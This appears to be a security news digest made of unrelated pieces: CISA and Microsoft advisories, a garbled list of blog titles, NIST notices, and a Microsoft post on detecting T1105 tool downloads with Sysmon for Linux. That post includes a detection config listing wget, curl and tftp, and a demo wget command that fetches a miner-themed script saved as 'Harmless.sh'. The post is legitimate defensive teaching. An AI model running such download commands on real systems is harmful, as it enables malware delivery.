Microsoft has observed multiple Iranian threat actors targeting the IT
services sector in attacks that aim to steal sign-in credentials belonging to
downstream customer networks to enable further attacks.
Iranian targeting of IT sector on the rise – Microsoft Security Blog
Drupal has released security updates to address vulnerabilities that could
affect versions 8.9, 9.1, and 9.2. An attacker could exploit these
vulnerabilities to take control of an affected system.
CISA encourages users and administrators to review Drupal Security Advisory SA-CORE-2021-011 and apply
the necessary updates.
|
AZURE COMPUTE |
|||
|
MICROSOFT (formerly |
|||
|
2021 |
|||
|
Nov 17 |
NextGen Multi Cloud CSPM in Microsoft Defender for |
||
|
Nov 16 |
Azure |
||
|
Oct 27 |
Azure Defender for SQL |
||
|
Oct 26 |
Manage Your Security Risk and Compliance Requirements with Azure Security |
||
|
Oct 20 |
What’s New in the Last 6 Months |
||
|
Oct 5 |
Better Together: Azure Defender, Azure Sentinel, and M365 Defender |
||
|
Aug 26 |
Better Together | Azure Security Center and Microsoft Defender for |
||
|
Jul 22 |
Manejo |
|
|
|
May 13 |
Azure |
||
|
Apr 29 |
Demystifying |
||
|
Apr 28 |
Automate(d) |
||
|
Mar 9 |
Azure |
||
|
Feb 23 |
Best Practices for Improving Your Secure Score |
||
|
Jan 7 |
Azure service layers protection |
||
|
2020 |
|||
|
Dec 7 |
Investigating Azure Security Center alerts using |
||
|
Nov 30 |
Azure Defender for SQL Anywhere |
||
|
Nov 9 |
Ignite 2020 Announcements |
||
|
Nov 2 |
Enhance IoT Security & Visibility with Azure Defender and Azure |
||
|
Oct 28 |
Multi-Cloud support in Azure Security Center |
||
|
Oct 26 |
VM Protection |
||
|
Mar 11 |
Security Benchmark Policy |
||
|
Feb 20 |
Secure Score enhanced model |
||
|
MICROSOFT DEFENDER FOR CLOUD APPS (formerly |
|||
|
2021 |
|||
|
Aug 17 |
Protect your Slack Deployment using Microsoft Cloud |
||
|
Jun 8 |
Protect Your Salesforce Environment Using MCAS |
||
|
May 25 |
Improve Your AWS Security Posture Using MCAS |
||
|
May 12 |
Protect Your Box Deployment Using MCAS |
||
|
May 11 |
How to Protect Your GitHub Environment Using MCAS |
||
|
2020 |
|||
|
Apr 15 |
Enabling Secure Remote Work |
||
|
MICROSOFT DEFENDER FOR ENDPOINT |
|||
|
2021 |
|||
|
May 18 |
Stopping Cabanak+FIN7: Understanding the MITRE |
||
|
2020 |
|||
|
Sep 16 |
Get started with Microsoft Defender ATP: from zero to |
||
|
Jul 7 |
Deploy MDATP capabilities using a phased roadmap |
||
|
Apr 2 |
End-to-end security for your endpoints |
||
|
MICROSOFT DEFENDER FOR IDENTITY |
|||
|
2021 |
|||
|
Oct 6 |
Microsoft Defender for Identity’s Latest Detection |
||
|
Jun 22 |
MDI in the Microsoft 365 Security Center |
||
|
Jun 1 |
Detection Deep Dive with Defender for Identity’s |
||
|
Mar 23 |
Proactive Identity Posture Management |
||
|
MICROSOFT DEFENDER FOR IoT (formerly Azure Defender for IoT) |
|||
|
2021 |
|||
|
Oct 19 |
Agent Based Solution for IoT Device |
||
|
Jan 20 |
Leveraging OT Behavioral Analytics and Zero Trust for |
||
|
2020 |
|||
|
Sep 17 |
MITRE ATT&CK for ICS: CyberX Demo and Azure |
||
|
MICROSOFT SENTINEL (formerly Azure Sentinel) |
|||
|
2021 |
|||
|
Nov 16 |
Create |
||
|
Nov 15 |
Improving |
||
|
Nov 10 |
Decrease Your SOC’s MTTR (Mean Time to Respond) by |
||
|
Nov 9 |
SAP |
||
|
Nov 8 |
Latest Innovations for Microsoft’s Cloud Native SIEM |
||
|
Oct 28 |
What’s New in Azure Sentinel Automation |
||
|
Oct 25 |
Explore the Power of Threat Intelligence in Azure |
||
|
Oct 18 |
SAP |
||
|
Oct 11 |
Become a Notebooks Ninja – Getting Started with |
||
|
Oct 6 |
Turbocharging ASIM: Making Sure Normalization Helps Rather Than Impacting It |
||
|
Sep 29 |
Better Together | OT and IoT Attack Detection, |
||
|
Sep 15 |
What’s New in the Last 6 Months |
||
|
Sep 14 |
Learn About Customizable Anomalies and How to Use |
||
|
Aug 18 |
Fusion ML Detections with Scheduled Analytics Rules |
||
|
Aug 11 |
Deep Dive into Azure Sentinel Normalizing Parsers and |
||
|
Jul 28 |
The Information Model: Understanding Normalization in |
||
|
Jul 20 |
Streamlining your SOC Workflow with Automated |
||
|
Jul 13 |
Customizing Azure Sentinel with Python – MSTICPy and |
||
|
Jun 29 |
Threat Intelligence in Action with Anomali |
||
|
Jun 24 |
Cost Management in Azure Sentinel – Getting the Most |
||
|
May 26 |
Deep Dive into Azure Sentinel Innovations for RSA |
||
|
Mar 31 |
Using Azure Data Explorer as Your Long Term Retention |
||
|
Mar 18 |
Data Collection Scenarios |
||
|
Feb 18 |
Best Practices for Converting Detection Rules from |
||
|
Feb 4 |
Accelerate Your Azure Sentinel Deployment with the |
||
|
Jan 21 |
Auditing and monitoring your Azure Sentinel workspace |
||
|
Jan 19 |
Azure Notebooks Fundamentals – How to get started |
||
|
Jan 12 |
Machine Learning detections in the AI-infused Azure |
||
|
2020 |
|||
|
Sep 30 |
Unleash your Azure Sentinel automation Jedi tricks |
||
|
Sep 29 |
Enabling User and Entity Behavior Analytics (UEBA) | |
||
|
Sep 14 |
Empowering the Azure Sentinel Community with |
||
|
Sep 9 |
KQL |
||
|
Sep 2 |
Log Forwarder deep dive | Filtering CEF and Syslog |
||
|
Aug 19 |
Threat intelligence automation with RiskIQ |
||
|
Aug 12 |
Threat hunting and reduce dwell times with Azure |
||
|
Jul 28 |
KQL |
||
|
Jul 9 |
Workbooks deep dive – Visualize your security threats |
||
|
Jun 23 |
Multi-tenant investigations |
||
|
Jun 15 |
Deploying and Managing Azure Sentinel as Code |
||
|
Jun 2 |
KQL |
||
|
May 13 |
Using Sigma to accelerate your SIEM transformation to |
||
|
Apr 22 |
Threat Hunting on AWS using Sentinel |
||
|
Apr 20 |
MSSP and Distributed Organization Support |
||
|
Mar 31 |
Extending and Integrating Azure Sentinel (APIs) |
||
|
Mar 18 |
Deep Dive on Threat Intelligence |
||
|
Mar 4 |
Recap of RSA 2020 |
||
|
Feb 19 |
Tackling Identity |
||
|
Feb 12 |
Deep Dive on Correlation Rules |
||
|
Jan 29 |
Threat Hunting – revisited |
||
|
Jan 22 |
End-to-End SOC scenario |
||
|
MICROSOFT MISCELLANEOUS |
|||
|
CYBERSECURITY FUNDAMENTALS |
|||
|
2021 |
|||
|
Oct 21 |
Hacking |
||
|
Oct 14 |
Exploiting |
||
|
Oct 7 |
Combating Manipulated |
||
|
Jul 1 |
Spa |
||
|
Jun 15 |
Best |
||
|
Mar 24 |
Who |
||
|
Feb 16 |
The |
||
|
2020 |
|||
|
Dec 9 |
Microsoft |
||
|
Oct 29 |
Cybersecurity |
||
|
DIVERSITY IN CYBERSECURITY |
|||
|
2021 |
|||
|
Oct 4 |
Mekonnen Kassa: From a Refugee to Microsoft: Impact |
||
|
May 27 |
Sarah Young: How Unconventional Career Paths are |
||
|
Mar 16 |
Sue Loh, software engineer at Microsoft and author of |
||
Thanks to Kevin
Sheldrake, Roberto Rodriguez, Jessen Kurien and Ofer Shezaf for making this
blog possible.
For many years, people have been using Sysmon on their Windows systems to gain clarity on what is
happening on their machines and, for the security community, to highlight when
suspicious or malicious activity occurs. Collecting events from individual
hosts is crucial to ensuring you have the visibility needed to identify and
respond to malicious events and Sysmon provides a way to do just that. With the
introduction of Sysmon for Linux, that same clarity is available for many Linux
distros. While we won’t be detailing all the available Sysmon for Linux
capabilities in this post, you can find the Sysmon documentation here,
read about how to deploy Sysmon in conjunction with Azure Sentinel, look at a
quick guide on how you can use Sysmon in conjunction with Azure Sentinel, or look through
our GitHub repository where we’ve been experimenting with Sysmon configs for Linux.
To frame the conversation around how Sysmon for Linux (shortened to Sysmon
from here on out) can be used to create clarity for security teams, we will
walk through how Sysmon events can be used to spot a specific MITRE ATT&CK
technique. The MITRE ATT&CK Matrix (Linux
focused version here) is a well-known and respected framework that many
organizations use to think about adversary techniques and assess detection
coverage. Just like on the Windows side, Sysmon can be used to highlight
tactics and techniques across the matrix. In this blog, we will focus in on the
Ingress Tool Transfer technique (ID T1105)
and highlight a couple of the Sysmon events that can be used to see it. We
observe this technique being used against Linux systems and sensor networks
regularly, and while we have tools to alert on this activity, it is still a
good idea to ensure you have visibility into the host so you can investigate
attacks. To look at this technique, we will show how to enable collection of
three useful events, what those events look like when they fire, and how they
can help you understand what happened. Additionally, we will show what those
events look like in Azure Sentinel.
It is common to see attackers taking advantage of initial access to a
machine by downloading a script or piece of malware. While “living off the
land” is still something to watch for, in attacks on our customers and against
our sensor network we see attempts to download tools very frequently. In
fact, the MITRE ATT&CK page for Ingress Tool
Transfer shows 290 different pieces of malware and activity groups that use
this technique, so it is a good place to start showing how Sysmon can help add
coverage to different ATT&CK techniques.
For this example, we will focus on the five most commonly used tools for
downloading scripts and malware that we’ve seen run on our sensor networks. We
will look for wget, curl, ftpget, tftp, and lwp-download. You may want to
customize this list for your environment, but this will cover the majority of
what we see.
Just like Sysmon for Windows, you will want to create configuration files
based on the system you are wanting to collect logs for based on the role of
the system, your environment, and your collection requirements. The basics of
how to write and run a configuration can be found on the Sysmon documentation page and you can see some examples in
the MSTIC-Sysmon
repo so we’ll just focus on what we need for this specific technique. One
thing to note is that the Event IDs are consistent between Windows and Linux so
Event ID 1 represents process creation events in both environments.
We are interested in seeing when an attacker tries to download files to our
computer. There are a few ways we can see that behavior reflected. To begin, we
know that a process will have to get created to start the download. We also
know that a network connection will have to be made and, if the attacker is
successful, a file will be written. Lucky for us, Sysmon has us covered for all
three of these with ProcessCreate, NetworkConnect, and FileCreate events.
Below is a basic configuration that we can use to create those events based
on our list of the commonly used tools (it is available in our repo here). You can see we have
separate sections for each of the events we want and have said we want to
include the listed matches. The tool name will be in the “Image” field,
and we’ve used “end with” because we generally expect to see file paths there
(ex. /bin/wget).
<!–
Created: 10/15/2021 Modified: 10/17/2021 Technique: Ingress Tool Transfer
References: – https://attack.mitre.org/techniques/T1105/
–> <Sysmon schemaversion=”4.81″> <EventFiltering>
<RuleGroup name=”” groupRelation=”or”>
<ProcessCreate onmatch=”include”> <Rule name=”TechniqueID=T1105,TechniqueName=Ingress
Tool Transfer” groupRelation=”or”> <Image
condition=”end with”>wget</Image> <Image
condition=”end with”>curl</Image> <Image
condition=”end with”>ftpget</Image> <Image
condition=”end with”>tftp</Image> <Image
condition=”end with”>lwp-download</Image> </Rule>
</ProcessCreate> </RuleGroup> <RuleGroup name=””
groupRelation=”or”> <NetworkConnect
onmatch=”include”> <Rule name=”TechniqueID=T1105,TechniqueName=Ingress
Tool Transfer” groupRelation=”or”> <Image
condition=”end with”>wget</Image> <Image
condition=”end with”>curl</Image> <Image
condition=”end with”>ftpget</Image> <Image
condition=”end with”>tftp</Image> <Image
condition=”end with”>lwp-download</Image> </Rule>
</NetworkConnect> </RuleGroup> <RuleGroup name=””
groupRelation=”or”> <FileCreate onmatch=”include”>
<Rule name=”TechniqueID=T1105,TechniqueName=Ingress Tool Transfer”
groupRelation=”or”> <Image condition=”end
with”>wget</Image> <Image condition=”end
with”>curl</Image> <Image condition=”end
with”>ftpget</Image> <Image condition=”end
with”>tftp</Image> <Image condition=”end
with”>lwp-download</Image> </Rule> </FileCreate>
</RuleGroup> </EventFiltering> </Sysmon>
One thing to note is that both ProcessCreate and ProcessTerminate are
enabled by default. If you don’t want to collect one of those, you’ll
need an empty “include” statement. Once you have your configuration
created and enabled, you’ll start seeing events.
The Sysmon logs can be found in /var/log/syslog.
While you could just look at the raw events there, we have the SysmonLogView
tool which can make it easier. This tool will take the Sysmon events and
display them in the more human readable format that you can see below. You can
use the below command to push new events from syslog into the sysmonLogView
using the following command:
sudo tail -f
/var/log/syslog | sudo /opt/sysmon/sysmonLogView
This gives us a running view of what events are being created. We can then
run the below command to trigger the rules.
wget
10.0.5.8:7000/xmrigAttackDemo.sh -O Harmless.sh
This command will use wget to call out to a server at 10.0.5.8 port 7000,
download the xmrigAttackDemo.sh script, and save it as the script Harmless.sh.
xmrigAttackDemo.sh is an internal testing script that I used for this demo.
You can see we get quite a lot of information from the ProcessCreate event.
We can see wget in the Image field, the full Command Line, the Current
Directory, and the user. You also get Parent Process information although it
isn’t as interesting in this example.
Event
SYSMONEVENT_CREATE_PROCESS RuleName: – UtcTime: 2021-09-28 21:53:22.533
ProcessGuid: {23b1b3a6-8ed2-6153-705c-4f4576550000} ProcessId: 13409 Image:
/usr/bin/wget FileVersion: – Description: – Product: – Company: –
OriginalFileName: – CommandLine: wget 10.0.5.8:7000/xmrigAttackDemo.sh -O
Harmless.sh CurrentDirectory: /home/testUser User: testUser LogonGuid:
{23b1b3a6-0000-0000-e903-000000000000} LogonId: 1001 TerminalSessionId: 38
IntegrityLevel: no level Hashes: – ParentProcessGuid:
{23b1b3a6-8ed2-6153-0824-7cafd1550000} ParentProcessId: 13408 ParentImage:
/bin/bash ParentCommandLine: bash
In the NetworkConnect event, we again see wget in the Image field and the
user. We also see the protocol, source and destination IP addresses, and the
ports involved. Our example command line has the IP listed already so it isn’t
new information, but it could be useful in tying the different logs together.
You’ll notice the Process IDs also match up as expected.
Event
SYSMONEVENT_NETWORK_CONNECT RuleName: – UtcTime: 2021-09-28 21:53:22.543
ProcessGuid: {23b1b3a6-8ed2-6153-705c-4f4576550000} ProcessId: 13409 Image:
/usr/bin/wget User: testUser Protocol: tcp Initiated: true SourceIsIpv6: false
SourceIp: 10.0.5.10 SourceHostname: – SourcePort: 40680 SourcePortName: –
DestinationIsIpv6: false DestinationIp: 10.0.5.8 DestinationHostname: –
DestinationPort: 7000 DestinationPortName: –
Here we can again see the wget tool and the process Id. We also have the
name of the file that was created and its file path.
Event
SYSMONEVENT_FILE_CREATE RuleName: – UtcTime: 2021-09-28 21:53:22.536 ProcessGuid:
{23b1b3a6-8ed2-6153-705c-4f4576550000} ProcessId: 13409 Image: /usr/bin/wget
TargetFilename: /home/testUser/Harmless.sh CreationUtcTime: 2021-09-28
21:53:22.536
Sysmon events are pushed to Syslog so if you are collecting Syslog events
from your Linux machine into Azure Sentinel, you will get the Sysmon
events. For more details on how to make that connection, check out the
documentation here. Also, as the Sysmon events come through with
most of the data in the Syslog Message field, you’ll need to parse out the
fields you are interested in. Fortunately, the Azure Sentinel Information Model parsers have you covered.
You can install the Parsers from the link here. Once you do, you’ll have access to functions that
have taken the guesswork out of parsing.
The parsing functions are available under Functions-> Workspace
functions. In the below, you can see the Linux Sysmon functions we currently
have.
Using the function vimProcessCreateLinuxSysmon, we can see our event reflected.
We have narrowed the query to just the event in the example above and chosen to
project only a couple of the columns of data.
From here you can start to include Sysmon as a data source for your hunting
queries and analytics.
While we didn’t dig into all the possible Sysmon events or ATT&CK
techniques, hopefully you can see how you can use Sysmon to collect data that
will highlight adversary techniques. Sysmon
is open source and available in the Sysinternals GitHub. If you have requests or find
bugs, check out the Sysmon for Linux project page for the best ways to contact
the team. MSTIC has been working with different configs and have started a repo here
to share with the community. If you want to see other configs based on MITRE
ATT&CK techniques, check them out here and feel free to add suggestions of your own. If you
want a config that has all the techniques we’ve mapped so far, you can find it here. We will continue to come up with new ways to utilize
the logs in Azure Sentinel and we look forward to seeing what the community
develops. If the amazing work around the Windows version is any indication, we
expect that the future of Linux logging is bright.
ISC
Releases Security Advisory for BIND
10/28/2021 12:05 PM EDT
Original
release date: October 28, 2021
The Internet Systems Consortium (ISC) has released a security advisory that
addresses a vulnerability affecting multiple versions of the ISC Berkeley
Internet Name Domain (BIND). A remote attacker could exploit this vulnerability
to cause a denial-of-service condition.
CISA encourages users and administrators to review the ISC advisory
for CVE-2021-25219 and
apply the necessary updates or workaround.
Hackers have compromised a JavaScript NPM library with password-stealing
malware. The library, UAParser.js, garners 6 million downloads a week. The
threat came after hackers hijacked UAParser.js’s NPM account. GitHub has warned
users that any device with the package installed should be considered
compromised
We are very excited and pleased to announce this rendition of the Ninja Training Series. With all the other training out there, our team has been working diligently to get this content out there. There are several videos and resources out there and the overall purpose of the MIP Ninja training is to help you master this realm. We aim to get you up-to-date links to the community blogs, training videos, Interactive Guides, learning paths, and any other relevant documentation.
To make it easier for you to start and advance your knowledge gradually without throwing you in deep waters, we split content in each offering into three levels: beginner, intermediate, and advanced.
In addition, after each section, there will be a knowledge check based on the training material you’d have just finished! Since there’s a lot of content, the goal of these knowledge checks is to help you determine if you were able to get a few of the major key takeaways.
There’ll be a fun certificate issued at the end of the training: Disclaimer: This is NOT an official Microsoft certification and only acts as a way of recognizing your participation in this training content.
Lastly, this training will be updated on a quarterly basis to ensure you all have the latest and greatest material!
Please Submit Comments –
Draft Baseline Criteria for Consumer Software Cybersecurity Labeling
Section 4s
of the President’s Executive Order (EO) on “Improving the Nation’s Cybersecurity (14028),” issued
on May 12, 2021, charges NIST, in coordination with the Federal
Trade Commission (FTC) and other agencies, to initiate pilot programs for
cybersecurity labeling. These labeling programs are intended to educate the
public on the security capabilities of software development practices.
To inform this effort, Sec. 4 (u)
of the EO directs NIST to “…identify secure software development practices or
criteria for a consumer software labeling program.” Furthermore, the identified
criteria “…shall reflect a baseline level of security practices, and if
practicable, shall reflect increasingly comprehensive levels of testing and
assessment that a product may have undergone.” Sec. 4 (u)
also states that “…NIST shall examine all relevant information, labeling, and
incentive programs, employ best practices, and identify, modify, or develop a
recommended label or, if practicable, a tiered software security rating system.
This review shall focus on ease of use for consumers and a determination of
what measures can be taken to maximize participation.”
Today, NIST has released for public comment a document that
advances these tasks: Draft Baseline Criteria for Consumer Software Cybersecurity Labeling.
This draft document addresses the need to develop appropriate cybersecurity
criteria for consumer software—and it informs the development and use of a
label for consumer software which will improve consumers’ awareness,
information, and ability to make purchasing decisions (while taking
cybersecurity considerations into account). This document was developed after
much input from a recent NIST workshop, position papers submitted to NIST,
additional extensive research, and many discussions with experts and
organizations from the public and private sectors.
We are seeking comments on all aspects of the criteria contained
in the draft document (more
details can be found in the ‘note to reviewers’ section of the draft document).
In accordance with the EO, NIST plans to produce a final version of
these criteria by February 6, 2022.
Please view the draft document HERE.
To submit comments, please email them to labeling-eo@nist.gov using
the subject, “Draft Consumer Software Labeling Criteria,” by December
16, 2021.
Microsoft recently mitigated an information disclosure issue, CVE-2021-42306, to prevent private key data from being stored by some Azure services in the keyCredentials property of an Azure Active Directory (Azure AD) Application and/or Service Principal, and prevent reading of private key data previously stored in the keyCredentials property.
The keyCredentials property is used to configure an application’s authentication credentials. It is accessible to any user or service in the organization’s Azure AD tenant with read access to application metadata.
The property is designed to accept a certificate with public key data for use in authentication, but certificates with private key data could have also been incorrectly stored in the property. Access to private key data can lead to an elevation of privilege attack by allowing a user to impersonate the impacted Application or Service Principal.
Some Microsoft services incorrectly stored private key data in the (keyCredentials) property while creating applications on behalf of their customers. We have conducted an investigation and have found no evidence of malicious access to this data.
Microsoft Azure services affected by this issue have mitigated by preventing storage of clear text private key information in the keyCredentials property, and Azure AD has mitigated by preventing reading of clear text private key data that was previously added by any user or service in the UI or APIs.
As a result, clear text private key material in the keyCredentials property is inaccessible, mitigating the risks associated with storage of this material in the property.
As a precautionary measure, Microsoft is recommending customers using these services take action as described in “Affected products/services,” below. We are also recommending that customers who suspect private key data may have been added to credentials for additional Azure AD applications or Service Principals in their environments follow this guidance.
Microsoft has identified the following platforms/services that stored their private keys in the public property. We have notified customers who have impacted Azure AD applications created by these services and notified them via Azure Service Health Notifications to provide remediation guidance specific to the services they use.
| Product/Service | Microsoft’s Mitigation | Customer impact assessment and remediation |
| Azure Automation uses the Application and Service Principal keyCredential APIs when Automation Run-As Accounts are created | Azure Automation deployed an update to the service to prevent private key data in clear text from being uploaded to Azure AD applications. Run-As accounts created or renewed after 10/15/2021 are not impacted and do not require further action. | Automation Run As accounts created with an Azure Automation self-signed certificate between 10/15/2020 and 10/15/2021 that have not been renewed are impacted. Separately customers who bring their own certificates could be affected. This is regardless of the renewal date of the certificate. To identify and remediate impacted Azure AD applications associated with impacted Automation Run-As accounts, please navigate to this Github Repo In addition, Azure Automation supports Managed Identities Support (GA announced on October 2021). Migrating to Managed Identities from Run-As will mitigate this issue. Please follow the guidance here to migrate. |
| Azure Migrate service creates Azure AD applications to enable Azure Migrate appliances to communicate with the service’s endpoints. | Azure Migrate deployed an update to prevent private key data in clear text from being uploaded to Azure AD applications. Azure Migrate appliances that were registered after 11/02/2021 and had Appliance configuration manager version 6.1.220.1 and above are not impacted and do not require further action |
Azure Migrate appliances registered prior to 11/02/2021 and/or appliances registered after 11/02/2021 where auto-update was disabled could be affected by this issue. To identify and remediate any impacted Azure AD applications associated with Azure Migrate appliances, please navigate to this link. |
| Azure Site Recovery (ASR) creates Azure AD applications to communicate with the ASR service endpoints. | Azure Site Recovery deployed an update to prevent private keydata from being uploaded to Azure AD applications. Customers using Azure Site Recovery’s preview experience “VMware to Azure Disaster Recovery” after 11/01/2021 are not impacted and do not require further action | Customers who have deployed and registered the preview version of VMware to Azure DR experience with ASR before 11/01/2021 could be affected. To identify and remediate the impacted AAD Apps associated with Azure Site Recovery appliances, please navigate to this link. |
| Azure AD applications and Service Principals [1] | Microsoft has blocked reading private key data as of 10/30/2021. | Follow the guidance available at aad-app-credential-remediation-guide to assess if your application key credentials need to be rotated. The guidance walks through the assessment steps to identify if private key information was stored in keyCredentials and provides remediation options for credential rotation. |
[1] This issue only affects Azure AD Applications and Service Principals where private key material in clear text was added to a keyCredential. Microsoft recommends taking precautionary steps to identify any additional instances of this issue in applications where you manage credentials and take remediation steps if impact is found.
Additionally, as a best practice, we recommend auditing and investigating applications for unexpected use:
Part of any robust security posture is working with researchers to help find vulnerabilities, so we can fix any findings before they are misused. We want to thank Karl Fosaaen of NetSPI who reported this vulnerability and Allscripts who worked with the Microsoft Security Response Center (MSRC) under Coordinated Vulnerability Disclosure (CVD) to help keep Microsoft customers safe.
The National Cybersecurity Center of Excellence (NCCoE) has
released two new draft publications: Special Publication (SP) 1800-31, Improving Enterprise Patching for General IT Systems: Utilizing
Existing Tools and Performing Processes in Better Ways,
and SP 800-40 Revision 4, Guide to Enterprise Patch Management Planning: Preventive Maintenance
for Technology.
Patching is a critical component of preventive maintenance for
computing technologies—a cost of doing business, and a necessary part of what
organizations need to do in order to achieve their missions. However, keeping
software up-to-date with patches remains a problem for most organizations.
Draft SP 800-40 Revision 4 makes recommendations for creating an
enterprise strategy to simplify and operationalize patching while also
improving reduction of risk. Draft SP 800-40 Revision 4 will replace SP 800-40
Revision 3, Guide to
Enterprise Patch Management Technologies, which was released in
2013.
Draft SP 1800-31 describes an example solution that demonstrates
how tools can be used to implement the inventory and patching capabilities
organizations need for routine and emergency patching situations, as well as
implementing workarounds and other alternatives to patching.
We Want to Hear from You!
Review the draft publications and submit comments online on or
before January 10, 2022. You can also contact us at cyberhygiene@nist.gov. We value and welcome
your input and look forward to your comments.
